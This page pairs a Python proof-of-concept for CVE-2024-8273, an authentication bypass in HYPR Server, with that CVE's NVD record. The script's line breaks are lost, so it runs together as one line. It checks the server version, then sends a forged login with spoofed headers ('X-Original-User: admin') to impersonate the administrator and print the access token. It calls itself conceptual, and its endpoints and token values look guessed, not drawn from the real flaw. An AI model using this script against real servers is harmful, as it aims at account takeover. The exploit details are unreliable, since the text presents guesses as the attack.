CVE-2024-8273

# CVE-2024-8273 PoC - HYPR Server Authentication Bypass # Note: This is a conceptual PoC framework for educational purposes only import requests import json from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target HYPR Server is vulnerable to CVE-2024-8273 """ # Step 1: Identify target version version_url = urljoin(target_url, "/api/v1/version") try: response = requests.get(version_url, timeout=10) version_data = response.json() version = version_data.get('version', '') # Check if version is before 10.1 major, minor = map(int, version.split('.')[:2]) if major < 10 or (major == 10 and minor < 1): print(f"[+] Target version {version} is potentially vulnerable") else: print(f"[-] Target version {version} is not vulnerable") return False except: print("[-] Could not determine version") # Step 2: Attempt authentication bypass auth_url = urljoin(target_url, "/api/v1/auth") # Craft malicious authentication request # Attack vector: Spoofed authentication token headers = { 'Content-Type': 'application/json', 'X-Forwarded-For': '127.0.0.1', 'X-Original-User': 'admin' # Target user to impersonate } payload = { 'username': '[email protected]', 'auth_method': 'spoofed_token', 'spoofed_identity': 'admin', 'token': 'malicious_auth_token' } try: response = requests.post(auth_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('authenticated') and result.get('user') == 'admin': print("[+] Authentication bypass successful!") print(f"[+] Gained access as: {result.get('user')}") print(f"[+] Access token: {result.get('access_token')}") return True print("[-] Authentication bypass failed") return False except Exception as e: print(f"[-] Error: {e}") return False # Usage if __name__ == "__main__": target = "https://vulnerable-hypr-server.com" check_vulnerability(target)

{"cve": {"id": "CVE-2024-8273", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:54.240", "lastModified": "2026-02-19T16:57:34.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass by Spoofing vulnerability in HYPR Server allows Identity Spoofing.This issue affects Server: before 10.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:H/SC:H/SI:N/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:I/V:D/RE:L/U:Amber", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "IRRECOVERABLE", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hypr:hypr_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.1.0", "matchCriteriaId": "D6AD20CA-DF96-4EAD-A8C2-7475AA2339C3"}]}]}], "references": [{"url": "https://www.hypr.com/trust-center/security-advisories", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}